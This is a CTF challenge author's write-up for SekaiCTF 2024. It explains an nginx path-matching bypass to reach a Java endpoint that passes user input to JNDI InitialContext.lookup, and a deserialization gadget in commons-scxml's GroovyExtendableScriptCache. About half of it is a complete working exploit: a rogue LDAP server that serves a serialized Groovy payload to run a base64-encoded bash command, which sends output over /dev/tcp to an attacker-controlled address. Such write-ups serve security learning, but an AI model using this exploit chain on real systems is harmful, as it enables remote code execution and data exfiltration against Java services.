A challenge I authored for SekaiCTF 2024.

Setup

The /lookup endpoint takes a query parameter and passes it directly to javax.naming.InitialContext#lookup.

import com.sun.net.httpserver.HttpServer;

import javax.naming.InitialContext;
import java.io.IOException;

public class Main {

    public static void main(String[] args) throws IOException {
        var port = Integer.parseInt(System.getenv().getOrDefault("PORT", "8000"));
        var server = HttpServer.create(new java.net.InetSocketAddress(port), 0);
        server.createContext("/", req -> {
            var code = 200;
            var response = switch (req.getRequestURI().getPath()) {
                case "/lookup" -> {
                    try {
                        var param = req.getRequestURI().getQuery();
                        yield new InitialContext().lookup(param).toString();
                    } catch (Throwable e) {
                        e.printStackTrace();
                        yield ":(";
                    }
                }
                default -> {
                    code = 404;
                    yield "Not found";
                }
            };
            req.sendResponseHeaders(code, 0);
            var os = req.getResponseBody();
            os.write(response.getBytes());
            os.close();
        });
        server.start();
        System.out.printf("Server listening on :%s\n", port);
    }
}

The following nginx config blocks direct access to the lookup endpoint:

http
{
	server
	{
		listen 1337;

		location = /lookup
		{
			deny all;
		}

		location = /lookup/
		{
			deny all;
		}

		location /
		{
			proxy_pass http://localhost:8000;
			proxy_set_header Host $host;
			proxy_set_header X-Real-IP $remote_addr;
			proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
			proxy_set_header X-Forwarded-Proto $scheme;
		}
	}
}

Nginx bypass

Taking a look at the implementation of com.sun.net.httpserver.HttpServer, we see that it passes the request path to new URI(input).getPath().

Because new URI("//x/lookup").getPath() == "/lookup", we can bypass the controls: nginx sees the raw path //x/lookup which doesn’t match the exact location blocks = /lookup or = /lookup/, so it proxies the request. The Java server parses the URI and dispatches to /lookup, passing our input to javax.naming.InitialContext#lookup.

Since openjdk-17 is used, we can trigger deserialization through the JNDI lookup. VersionHelper.java reads the com.sun.jndi.ldap.object.trustSerialData system property, defaulting to "true", which allows Obj.java to deserialize the javaSerializedData attribute from our LDAP response.

Gadget chain: GroovyExtendableScriptCache

The Dockerfile gives a hint where to look at: commons-scxml:

FROM maven:3.8.4-openjdk-17-slim AS build

WORKDIR /app

RUN apt-get update && apt-get install -y git

RUN git clone https://github.com/apache/commons-scxml.git && \
    cd commons-scxml && \
    mvn clean package shade:shade -DskipTests

FROM openjdk:17-slim

RUN apt-get update && apt-get install -y nginx

WORKDIR /app

COPY --from=build /app/commons-scxml/target/commons-scxml2-2.0-SNAPSHOT.jar /app/commons-scxml2-2.0-SNAPSHOT.jar

COPY src ./src

COPY ./flag/flag /

RUN chmod 001 /flag

COPY nginx.conf /etc/nginx/nginx.conf

COPY --chmod=005 entrypoint.sh /entrypoint.sh

RUN chown -R www-data:www-data /var/lib/nginx

USER www-data

CMD ["/entrypoint.sh"]

The commons-scxml library is relatively small, and there are only a few potential entry points for constructing a gadget chain. To achieve code execution, the idea was to find the gadget in GroovyExtendableScriptCache:

private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        ensureInitializedOrReloaded();
}

// ...

protected void ensureInitializedOrReloaded() {
    if (groovyClassLoader == null) {
        compilerConfiguration = new CompilerConfiguration(getCompilerConfigurationFactory().getCompilerConfiguration());
        if (getScriptBaseClass() != null) {
            compilerConfiguration.setScriptBaseClass(getScriptBaseClass());
        }

        groovyClassLoader = AccessController.doPrivileged((PrivilegedAction<GroovyClassLoader>)
                () -> new GroovyClassLoader(getParentClassLoaderFactory().getClassLoader(), compilerConfiguration));
        if (!scriptCache.isEmpty()) {
            // de-serialized: need to re-generate all previously compiled scripts (this can cause a hick-up...):
            for (final ScriptCacheElement element : scriptCache.keySet()) {
                element.setScriptClass(compileScript(element.getBaseClass(), element.getScriptSource(), element.getScriptName()));
            }
        }
    }
}

// ...

protected Class<Script> compileScript(final String scriptBaseClass, final String scriptSource, final String scriptName) {
    final String script = preProcessScript(scriptSource);

    final GroovyCodeSource codeSource = AccessController.doPrivileged((PrivilegedAction<GroovyCodeSource>)
            () -> new GroovyCodeSource(script, scriptName, getScriptCodeBase()));

    final String currentScriptBaseClass = compilerConfiguration.getScriptBaseClass();
    try {
        if (scriptBaseClass != null) {
            compilerConfiguration.setScriptBaseClass(scriptBaseClass);
        }
        return groovyClassLoader.parseClass(codeSource, false);
    }
    finally {
        compilerConfiguration.setScriptBaseClass(currentScriptBaseClass);
    }
}

groovy.lang.GroovyClassLoader.parseClass() is a known sink; exploitation is described in detail in this post by Orange Tsai.

Exploit

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.commons.scxml2.env.groovy.GroovyExtendableScriptCache;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.HttpURLConnection;
import java.net.InetAddress;
import java.net.URL;
import java.nio.charset.StandardCharsets;
import java.util.Base64;

public class Exp implements Runnable {

    static String bashCmd = "/flag > /dev/tcp/<ip>/9003";

    static String cmd = "bash -c {echo," + Base64.getEncoder()
                                                 .encodeToString(bashCmd.getBytes(StandardCharsets.UTF_8)) + "}|{base64,-d}|{bash,-i}";

    static String baseUrl = "https://lookup-jvcwtkoto2v1.chals.sekai.team";

    static int ldapPort = 9000;

    static String ldapRef = String.format("ldap://local:%d/exp", ldapPort);

    static String payloadUrl = String.format("%s//x/lookup?%s", baseUrl, ldapRef);

    public static void main(final String[] args) throws Exception {
        Exp ldapRS = new Exp();
        new Thread(ldapRS).start();
        Thread.sleep(1000);
        httpGet(payloadUrl);
    }

    private static byte[] getPayload() throws IOException {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objStream = new ObjectOutputStream(byteArrayOutputStream);
        GroovyExtendableScriptCache ges = new GroovyExtendableScriptCache();
        var pl = String.format(
                "@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"%s\")})\ndef x\n",
                cmd);
        System.out.printf("Sending %s\n", pl);
        ges.getScript(pl);
        objStream.writeObject(ges);
        objStream.close();
        return byteArrayOutputStream.toByteArray();
    }

    public static void httpGet(String urlStr) throws Exception {
        URL url = new URL(urlStr);
        System.out.printf("http: %s\n", url);
        HttpURLConnection connection = (HttpURLConnection) url.openConnection();
        connection.setRequestMethod("GET");
        connection.getInputStream();
    }

    @Override
    public void run() {
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=sekai,dc=ctf");
            config.setListenerConfigs(new InMemoryListenerConfig("listen",
                                                                 InetAddress.getByName("0.0.0.0"),
                                                                 ldapPort,
                                                                 ServerSocketFactory.getDefault(),
                                                                 SocketFactory.getDefault(),
                                                                 (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new InMemoryOperationInterceptor() {
                @Override
                public void processSearchResult(InMemoryInterceptedSearchResult result) {
                    try {
                        String base = result.getRequest().getBaseDN();
                        System.out.printf("Incoming base=%s, sending payload\n", base);
                        Entry entry = new Entry(base);
                        entry.addAttribute("javaClassName", "");
                        entry.addAttribute("javaSerializedData", getPayload());
                        entry.addAttribute("javaCodeBase", "");
                        entry.addAttribute("objectClass", "javaNamingReference");
                        entry.addAttribute("javaFactory", "");
                        result.sendSearchEntry(entry);
                        result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
                    } catch (Exception e) {
                        throw new RuntimeException(e);
                    }
                }
            });
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            ds.startListening();
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}